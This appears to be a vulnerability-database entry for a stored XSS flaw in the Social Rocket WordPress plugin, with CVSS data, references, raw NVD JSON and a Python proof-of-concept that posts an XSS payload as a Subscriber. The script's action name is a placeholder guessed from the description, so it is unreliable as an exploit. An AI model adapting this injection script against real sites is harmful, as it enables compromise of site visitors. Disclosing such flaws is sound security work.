CVE-2026-1923

Description

The Social Rocket – Social Sharing Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘id’ parameter in all versions up to, and including, 1.3.4.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Social Rocket – Social Sharing Plugin <= 1.3.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Concept for CVE-2026-1923
# This script demonstrates how a low-privileged user might inject a payload.
import requests

target_url = "http://example.com/wp-admin/admin-ajax.php"

# Cookies for a Subscriber-level account
attacker_cookies = {
    "wordpress_logged_in_...": "session_id_here",
    "wordpress_sec_...": "session_sec_here"
}

# Malicious payload to be stored
xss_payload = "<img src=x onerror=alert('XSS')>"

# The vulnerable parameter 'id' based on the description
post_data = {
    "action": "social_rocket_some_action",
    "id": xss_payload
}

try:
    response = requests.post(target_url, cookies=attacker_cookies, data=post_data)
    if response.status_code == 200:
        print("Payload sent successfully. Check the backend page for execution.")
    else:
        print(f"Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1923
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1923
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1923/
[4] VulDB https://vuldb.com/cve/CVE-2026-1923
[5] https://plugins.trac.wordpress.org/changeset/3467694/social-rocket
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/d92fc04e-201e-4fc3-bbf0-4f2f3de3ee95?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1923", "sourceIdentifier": "[email protected]", "published": "2026-04-23T02:16:15.737", "lastModified": "2026-04-23T14:28:55.557", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Social Rocket – Social Sharing Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘id’ parameter in all versions up to, and including, 1.3.4.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3467694/social-rocket", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d92fc04e-201e-4fc3-bbf0-4f2f3de3ee95?source=cve", "source": "[email protected]"}]}}